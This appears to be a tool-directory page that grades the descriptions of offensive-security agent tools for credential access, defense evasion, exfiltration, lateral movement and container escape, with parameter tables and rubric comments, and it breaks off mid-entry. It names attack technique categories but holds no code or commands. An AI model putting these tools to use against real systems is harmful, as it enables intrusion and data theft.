Find COM object abuse techniques — hijacking, DCOM lateral movement, execution proxying, scriptlet loading.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | COM abuse mode to search for | all |
| environment_id | No | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; description does not disclose behavioral traits like side effects, permissions, or safety profile. The agent gets no insight beyond the tool's purpose.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, front-loaded with the core action, no unnecessary words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Lacks output description and behavioral details, but given the tool's query-only nature and two parameters, the description is adequate but not thorough.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so baseline is 3. The description lists the mode categories but adds minimal value beyond the schema's enum descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states the tool finds COM object abuse techniques, listing specific subcategories (hijacking, DCOM, etc.), which distinguishes it from sibling tools focusing on other abuse types.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool vs alternatives (e.g., find_wmi_abuse, find_token_abuse). The description lacks context for appropriate use cases.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_container_escapeA
Find container and Docker escape techniques — Docker socket abuse, privileged container escape, CAP_SYS_ADMIN abuse, nsenter breakout, cgroup escape.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Container escape technique type | docker_socket |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It accurately describes a read-only search operation with no side effects. While it doesn't detail return format or auth needs, it's sufficient for a simple 'find' tool.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single, well-structured sentence front-loads the purpose and enumerates key techniques. No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the absence of an output schema, the description could explain return values. However, for a specialized search tool, it adequately tells the agent what it will find. Lacks detail on output structure.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, baseline 3. The description adds value by listing the specific technique names, which correspond to the enum values, providing context beyond the schema's 'Container escape technique type'.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it finds container and Docker escape techniques, listing specific methods like Docker socket abuse, privileged escape, etc. This verb+resource combination is distinct from sibling tools that focus on other attack types.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for finding container escape techniques but offers no guidance on when to avoid it or which sibling tool to use instead. No explicit context for when-not-to-use or alternatives.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_credential_accessB
Find credential access techniques — file harvesting, memory dumps, keychain access, registry credentials, token theft, and cached credentials.
| Name | Required | Description | Default |
|---|---|---|---|
| target_user | No | Specific user to target for credential access | |
| environment_id | Yes | Environment session ID returned by enumerate_host | |
| credential_type | No | Type of credential access technique to search for | all |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries the full burden. It does not disclose whether this tool is read-only, destructive, requires authentication, or what side effects exist. The description only lists technique types without behavioral context.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
A single sentence listing examples is concise and front-loaded. However, it could be more structured with separate lines for clarity, but no waste.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Lacks explanation of return values, prerequisites (e.g., environment_id from enumerate_host), and does not specify behavior for each credential_type. With many sibling tools, more differentiation is needed.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema covers all three parameters (100%), so baseline is 3. The description adds no extra meaning beyond the schema's parameter descriptions, which already state the parameter names and defaults.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description states 'Find credential access techniques' with specific examples like 'file harvesting, memory dumps, keychain access', clearly identifying the verb and resource. It distinguishes from sibling tools like 'find_token_abuse' which focuses on token theft specifically.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for credential access techniques but provides no explicit guidance on when to use this tool versus alternatives like 'find_token_abuse' or 'find_collection'. No exclusions or context are given.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_defense_evasionC
Find defense evasion techniques — EDR bypass, AMSI bypass, AppLocker bypass, obfuscation, DLL sideloading, driver loading, ADS hiding, timestomping
| Name | Required | Description | Default |
|---|---|---|---|
| edr_product | No | Specific EDR product to target bypass techniques for | |
| evasion_type | No | Type of defense evasion technique to search for | all |
| target_binary | No | Specific LOL binary to find evasion techniques for | |
| environment_id | No | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries the full burden of behavioral disclosure. It does not mention whether the tool performs read-only operations, requires authentication, or modifies state. The list of techniques implies searching but offers no details about output format, side effects, or limitations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise—a single sentence with a dash-separated list. It is efficiently front-loaded with the core purpose. While brief, it avoids fluff. A structured breakdown of technique groups would improve scannability, but the current form is adequate.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has 4 parameters, no output schema, and no annotations, the description should clarify what the tool returns (e.g., technique names, commands, references). It only lists technique categories, leaving critical gaps about output format, pagination, or dependencies like environment_id.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema already fully describes all 4 parameters with 100% coverage (including enum values for evasion_type). The tool description merely repeats the technique names without adding semantic nuance or usage examples, so it adds no value beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description explicitly states 'Find defense evasion techniques' and lists representative examples (EDR bypass, AMSI bypass, etc.), making the tool's overall purpose clear. However, it does not differentiate from sibling tools that focus on specific evasion subtypes like find_dll_hijack, leaving some ambiguity for agents choosing among related tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides no guidance on when to use this tool versus alternatives (e.g., find_dll_hijack, find_token_abuse). There is no mention of prerequisites, recommended scenarios, or exclusions, leaving the agent without decision support for tool selection.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_detection_blind_spotsB
Find detection blind spots — zero coverage techniques, partial coverage gaps, evasion-possible techniques, priority-ranked blind spots.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | Yes | Blind spot analysis mode | |
| platform | No | Platform filter | |
| environment_id | No | Environment session ID |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description bears full responsibility for behavioral disclosure. It only lists analysis modes without mentioning safety (e.g., read-only), side effects, rate limits, or output format. This leaves the agent uncertain about tool behavior.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that immediately conveys the tool's purpose and available modes. No extraneous words, and structure front-loads key information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite having 3 parameters and no output schema, the description omits crucial context such as return value format, how results are structured, or any prerequisites (e.g., environment_id usage). For a tool analyzing blind spots, more completeness is needed.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with all three parameters described (mode, platform, environment_id). The description adds no extra meaning beyond the schema, listing modes already present in the enum. Baseline 3 applies as per schema richness.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds detection blind spots and enumerates four specific analysis modes (zero coverage, partial coverage, evasion-possible, priority-ranked). This specificity distinguishes it from sibling tools like assess_detection_gaps which may have a broader scope.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description does not explicitly state when to use this tool versus alternatives or provide usage constraints. However, the name and mode options imply it is for analyzing detection coverage, giving a baseline level of guidance.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_discoveryB
Find discovery and enumeration techniques using LOL binaries — native enumeration, network scanning, service/user/file enumeration.
| Name | Required | Description | Default |
|---|---|---|---|
| platform | No | Target platform for discovery techniques | all |
| discovery_type | No | Type of discovery technique to search for | all |
| environment_id | No | Environment session ID returned by enumerate_host | |
| stealth_priority | No | Prioritize stealthier discovery techniques |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are present, so the description carries full burden. It does not mention whether the tool is read-only, potentially destructive, or requires specific authorization. The use of 'find' implies search, but no behavioral traits are disclosed.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, well-formed sentence that immediately states the action and scope. No extraneous information, making it efficient and front-loaded.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Without an output schema, the description should hint at return format or side effects. It does not explain how environment_id is used or what the output looks like. For a tool with 4 parameters and enums, it lacks sufficient context.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% and all parameters have descriptions. The tool description lists discovery types that match enum values but adds no additional meaning beyond the schema. Baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states what the tool does: find discovery and enumeration techniques using LOL binaries. It specifies the types (native enumeration, network scanning, service/user/file enumeration), which distinguishes it from sibling find_* tools like find_token_abuse or find_named_pipe_abuse that target other categories.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance is provided on when to use this tool versus alternatives, when not to use it, or any prerequisites. The description lacks context for selection among siblings.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_dll_hijackB
Find DLL hijacking techniques — search order hijacking, known vulnerable apps, phantom DLLs, sideloading, proxying, validation
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Type of DLL hijacking technique to search for | all |
| application | No | Specific application to find DLL hijacking vectors for | |
| environment_id | No | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description carries full burden. It does not disclose whether the tool is read-only, requires special permissions, or has side effects. The minimal description is insufficient for a tool that likely scans the environment.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is very short and front-loaded with the main purpose. However, it could be more informative without being verbose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has 3 parameters, no output schema, and no annotations, the description is too minimal. It does not explain return values, prerequisites, or use cases beyond the basic technique list.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with individual parameter descriptions. The description adds no new meaning beyond listing mode options. Baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds DLL hijacking techniques and lists specific subtypes like search order hijacking, phantom DLLs, etc. The name and description together clearly distinguish this from sibling tools that focus on other attack techniques.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description lacks explicit guidance on when to use this tool versus alternatives like find_token_abuse or find_persistence_paths. It lists modes but does not explain context or prerequisites.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_environment_variable_abuseB
Find environment variable abuse techniques — PATH hijacking, LD_PRELOAD, DYLD_INSERT_LIBRARIES, DLL search order, COMSPEC abuse
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Type of environment variable abuse technique to search for | all |
| platform | No | Target platform to filter techniques for | |
| environment_id | No | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must disclose behavioral traits. It only states a search operation without indicating whether it is read-only, requires privileges, or has side effects. The lack of details on behavior or output format limits transparency.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence that efficiently conveys the tool's scope and lists key techniques. No extraneous words, and the structure is direct with front-loaded purpose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description is minimally adequate for a search tool with rich schema (100% coverage) and no output schema. It explains what the tool finds but lacks details on output format or usage context, which is acceptable given sibling variety.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% and all parameters have descriptions. The tool description does not add extra meaning beyond the schema; it only repeats the technique names already implied by the mode enum. Baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: finding environment variable abuse techniques. It lists specific techniques (PATH hijacking, LD_PRELOAD, etc.), distinguishing it from sibling tools that focus on other abuse types (e.g., find_token_abuse, find_dll_hijack).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides no explicit guidance on when to use this tool versus alternatives. It does not mention prerequisites, exclusions, or comparisons with siblings, leaving the agent to infer usage from the name and context alone.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_escalation_pathsB
Find and rank all privilege escalation paths in an enumerated environment. Supports stealth-priority ranking, multi-step chains, token abuse paths, and container escape detection.
| Name | Required | Description | Default |
|---|---|---|---|
| max_steps | No | Maximum number of steps in an escalation path | |
| include_token | No | Include Windows token privilege abuse paths | |
| environment_id | Yes | Environment session ID returned by enumerate_host | |
| include_chains | No | Include multi-step chained escalation paths | |
| stealth_priority | No | Prioritize stealthier paths over higher-certainty ones | |
| target_privilege | No | Target privilege level to escalate to (e.g. root, system, administrator) | root |
| include_container_escape | No | Include container/Docker escape paths if docker socket is accessible |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It does not disclose whether the tool modifies state, requires specific permissions, or what the output format is. The mention of 'ranks' and 'detects' implies analysis, but side effects and return structure are omitted.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences with no redundant words. The first sentence states the core purpose, the second lists key supported features. Efficient, but could be slightly more front-loaded with output behavior.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with 7 parameters and no output schema, the description covers core features but does not explain what the tool returns (e.g., ranked list of paths). It also lacks prerequisite context (e.g., environment must be enumerated via `enumerate_host`).
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description adds some context for parameters (e.g., 'stealth-priority ranking' corresponds to `stealth_priority`), but does not provide additional semantic meaning beyond the schema descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the verb ('Find and rank') and resource ('privilege escalation paths') and specifies the context ('in an enumerated environment'). This distinguishes it from sibling tools like `find_token_abuse` and `find_container_escape`, which focus on specific subsets.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool vs alternatives such as `discover_chains` or `find_token_abuse`. The description lists features but does not state when one would choose this tool over others.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_execution_proxyB
Find execution proxy techniques — signed binary proxy execution, compile-and-execute, script hosts, WMI execution, MMC snap-in abuse.
| Name | Required | Description | Default |
|---|---|---|---|
| platform | No | Target platform to filter execution techniques | |
| environment_id | No | Environment session ID returned by enumerate_host | |
| execution_type | No | Type of execution proxy technique to search for | all |
| target_payload | No | Target payload or binary to execute via proxy |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, and the description only lists technique categories. It does not disclose if the tool queries a database, is read-only, or has side effects. Lacks behavioral context beyond the input schema.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence with front-loaded purpose. Every word contributes to describing the tool's function. No redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema and no description of return value format or structure. For a search tool, agents need to know what results look like (e.g., list of techniques with metadata). The description is incomplete.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description adds no extra meaning beyond the enum values and parameter descriptions already in the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds execution proxy techniques and lists specific categories (signed binary proxy execution, compile-and-execute, script hosts, WMI execution, MMC snap-in abuse), distinguishing it from sibling tools like find_wmi_abuse or find_com_abuse.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit guidance on when to use this tool vs alternatives. Given many sibling find tools, the description does not provide context for selection, e.g., when to use this over find_wmi_abuse or find_native_crypto.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_exfiltration_pathsB
Find exfiltration techniques using LOL binaries — HTTP, DNS, LOTS (Living off Trusted Sites), tunnels, ADS streams, ICMP.
| Name | Required | Description | Default |
|---|---|---|---|
| data_size | No | Approximate size of data to exfiltrate | |
| target_data | No | Description of data to exfiltrate | |
| channel_filter | No | Filter by exfiltration channel type | all |
| environment_id | Yes | Environment session ID returned by enumerate_host | |
| stealth_priority | No | Prioritize stealthier exfiltration channels |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must disclose behavioral traits. It mentions techniques and channels but omits limitations, side effects, or the need for an environment_id from enumerate_host.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Single sentence, front-loaded with the primary purpose and specific exfiltration channels. No unnecessary words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema and no annotations. The description does not explain return values, required prerequisite (environment_id from enumerate_host), or how to interpret results. Incomplete for effective use.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description lists channels that match the channel_filter enum, adding slight context. However, it does not explain the meaning of data_size, target_data, or stealth_priority beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states 'Find exfiltration techniques using LOL binaries' and lists specific channels (HTTP, DNS, LOTS, ADS, ICMP). This distinguishes it from sibling tools like find_c2_channels or find_credential_access.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No guidance on when to use this tool versus alternatives like find_c2_channels or find_dns_exfiltration. The description lists channels but doesn't specify scenarios or prerequisites.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_initial_accessB
Find initial access techniques using LOL binaries — download-and-execute, compile, script hosts, macro execution, HTA execution.
| Name | Required | Description | Default |
|---|---|---|---|
| platform | No | Target platform for initial access techniques | all |
| access_type | No | Type of initial access technique to search for | all |
| bypass_required | No | List of security controls that need to be bypassed (e.g. AMSI, AppLocker, SmartScreen) | |
| delivery_method | No | Delivery method for the initial access payload |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must fully convey behavioral traits. It describes the technique scope (LOL binaries) but omits details like whether results are a list, whether the tool is read-only, or if any side effects occur (e.g., network calls). The description is insufficient for an agent to anticipate behavior.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence with a clear verb and resource, followed by enumerated technique types. It is concise and front-loaded, though it could be more structured (e.g., bullet points). No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 4 parameters and no output schema, the description provides the core purpose but lacks completeness regarding return value format, usage prerequisites, or how results are filtered. The sibling tools list is large, but the description doesn't help differentiate beyond the initial access focus.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
All 4 parameters have descriptions in the input schema (100% coverage). The tool description adds no additional semantic information beyond the schema, such as parameter relationships or typical values. Baseline of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds initial access techniques using LOL binaries and lists specific categories (download-and-execute, compile, script hosts, macro execution, HTA execution). This precisely identifies the tool's purpose and distinguishes it from siblings like find_persistence_paths or find_lateral_movement.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage for LOLBin-based initial access but provides no explicit guidance on when to use this versus alternatives, such as when to choose find_initial_access over find_execution_proxy or other access-related tools. No when-not-to-use or context signals are given.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_lateral_movementB
Find lateral movement techniques using LOL binaries — SSH, WinRM, SMB, RDP, credential reuse, and WMI.
| Name | Required | Description | Default |
|---|---|---|---|
| target_hosts | No | List of target hosts/IPs for lateral movement | |
| environment_id | Yes | Environment session ID returned by enumerate_host | |
| protocol_filter | No | Filter by lateral movement protocol | all |
| available_credentials | No | Available credentials for lateral movement |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description mentions it uses 'LOL binaries' but provides no behavioral details such as safety, permissions needed, or whether it modifies state. With no annotations, the description should have elaborated on what happens during execution or any side effects.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that conveys the core purpose without waste. It is appropriately sized and front-loaded with key information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given 4 parameters, no output schema, and many sibling tools, the description is too sparse. It doesn't explain return values, prerequisites (e.g., need for environment_id from enumerate_host), or how to effectively combine parameters. More details would help an agent use the tool correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so each parameter is already explained structurally. The description adds little beyond listing protocols (already in enum). It ties protocol_filter to the tool's purpose but doesn't elaborate on parameter relationships or usage.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds lateral movement techniques using LOL binaries and lists specific protocols (SSH, WinRM, SMB, RDP, credential reuse, WMI). This distinctively identifies its purpose and differentiates it from sibling tools like find_wmi_abuse or find_credential_access.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies use for exploring lateral movement but no explicit guidance on when to use this vs alternatives (e.g., find_wmi_abuse, find_credential_access). It lacks when-not conditions or context-specific recommendations.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_macos_tcc_bypassB
Find macOS TCC (Transparency, Consent, and Control) bypass techniques — TCC bypass, entitlement abuse, SIP circumvention, Gatekeeper bypass.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | macOS security bypass type | bypass |
| environment_id | No | Environment session ID | |
| target_permission | No | Target TCC permission: full_disk_access, camera, microphone, screen_recording |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It only lists target areas and does not disclose behavior such as whether it reads data, requires authentication, or has side effects. The agent lacks information about prerequisites or return format.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise, using a single line with a parenthetical list to enumerate technique types. It is front-loaded with the core purpose. However, it could be more structured with separate sentences for clarity.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
The description is incomplete for a tool with no output schema. It does not explain what the tool returns (e.g., list of techniques, details, or commands). Parameters like 'environment_id' and 'target_permission' lack usage context. The agent cannot fully understand how to invoke the tool effectively.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions for all three parameters. The description adds a list of technique types that correspond to the 'mode' enum, but does not clarify the role of 'environment_id' or 'target_permission' beyond schema. This meets baseline but does not exceed it.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool finds macOS TCC bypass techniques and lists specific types (bypass, entitlement abuse, SIP circumvention, Gatekeeper bypass). It uses a specific verb 'find' with a well-defined resource, distinguishing it from sibling tools like find_dll_hijack or find_process_manipulation.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies the tool is used to find macOS TCC bypasses but does not explicitly state when to use it vs. alternatives like 'search_techniques' or other find_* tools. No exclusion criteria or context is provided, leaving the agent to infer usage from the tool name and description.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
find_named_pipe_abuseB
Find named pipe abuse techniques — impersonation, C2 channels, relay, and discovery.
| Name | Required | Description | Default |
|---|---|---|---|
| mode | No | Named pipe abuse mode to search for | all |
| environment_id | No | Environment session ID returned by enumerate_host |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It only states that it 'finds named pipe abuse techniques' without disclosing any behavioral traits such as required permissions, side effects, or output format. This is insufficient for a tool with no annotations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence that is front-loaded with the verb and resource. Every word contributes meaning, with no extraneous content.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
